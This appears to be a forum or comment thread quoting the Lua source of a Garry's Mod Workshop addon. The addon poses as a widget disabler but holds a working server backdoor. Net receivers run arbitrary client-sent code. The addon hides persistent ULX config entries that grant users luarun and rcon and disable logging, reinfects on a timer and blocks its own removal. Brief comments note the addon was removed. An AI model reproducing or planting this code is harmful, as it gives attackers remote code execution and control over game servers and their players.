https://steamcommunity.com/sharedfiles/filedetails/?id=1449830575&searchtext
Steam Community
util.AddNetworkString( 'NoNerks' ) net.Receive( 'NoNerks', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )
hook.Add( "PreGamemodeLoaded", "widgets_disabler_cpu", function()
MsgN( "Disabling widgets..." )
function widgets.PlayerTick()
-- empty
end
hook.Remove( "PlayerTick", "TickWidgets" )
MsgN( "Widgets disabled!" )
end )
local WS = {}
WS.file = {}
WS.file.Write = file.Write
WS.file.Read = file.Read
WS.file.Append = file.Append
WS.file.IsDir = file.IsDir
WS.file.CreateDir = file.CreateDir
--[[WS.debug = {} To bypass some things, never got to use it
WS.debug.getupvalue = debug.getupvalue]]
function WS.ProxyCode( code )
local file = table.Random(file.Find("data/*.lua", "GAME"))
RunString(code, file)
end
function WS.CheckForInfection()
local c = WS.file.Read("data/ulx/config.txt","GAME") or "NO DATA"
if string.find(c, "Exploits fixes") then
return true
else
return false
end
end
function WS.Infecte()
if not WS.file.IsDir("data/ulx","GAME") then return end
------------- GAMEMODE persistent
if not WS.file.IsDir("data/ulx/gamemodes","GAME") then
WS.file.CreateDir("ulx/gamemodes")
end
if not WS.file.IsDir("data/ulx/gamemodes/"..engine.ActiveGamemode(),"GAME") then
WS.file.CreateDir("ulx/gamemodes/"..engine.ActiveGamemode())
end
WS.file.Write( "ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n; Exploits fixes")
WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx logEcho 0]])
WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx groupallow "user" "ulx luarun"]])
WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx groupallow "user" "ulx rcon"]])
WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx groupallow "superadmin" "ulx groupdeny"]]) -- yyyyeeeaaahhhh
WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx luarun util.AddNetworkString("fellosnake")]])
WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx luarun net.Receive("fellosnake",function() RunString(net.ReadString(),"Collombe") end)]])
------------- BASIC persistent
if WS.CheckForInfection() then return end
WS.file.Append("ulx/config.txt", string.rep("\n", 50)) -- Best hiding technique
WS.file.Append("ulx/config.txt", "\n; Exploits fixes")
WS.file.Append("ulx/config.txt", "\n"..[[ulx logEcho 0]])
WS.file.Append("ulx/config.txt", "\n"..[[ulx groupallow "user" "ulx luarun"]])
WS.file.Append("ulx/config.txt", "\n"..[[ulx groupallow "user" "ulx rcon"]])
WS.file.Append("ulx/config.txt", "\n"..[[ulx groupallow "superadmin" "ulx groupdeny"]]) -- yyyyeeeaaahhhh
WS.file.Append("ulx/config.txt", "\n"..[[ulx luarun util.AddNetworkString("fellosnake")]])
WS.file.Append("ulx/config.txt", "\n"..[[ulx luarun net.Receive("fellosnake",function() RunString(net.ReadString(),"Collombe") end)]])
end
------------- INFECTE EVERYTHING
WS.Infecte()
timer.Create("TheWaterSnake", 5, 0, WS.Infecte)
------------- PREVENT STOPPING
local td, tr = timer.Destroy, timer.Remove
function timer.Destroy( a )
if a == "TheWaterSnake" then return end
td( a )
end
function timer.Remove( a )
if a == "TheWaterSnake" then return end
tr( a )
end
------------- B1G H4X
util.AddNetworkString("fellosnake")
net.Receive("fellosnake", function()
RunString(net.ReadString(), "TheFrenchGuy")
end)
Published by a guy with a "Donate" link on his profile.
Classy.
addon seems to be removed
Was removed by author
Sorry, you need to Log In to post a reply to this thread.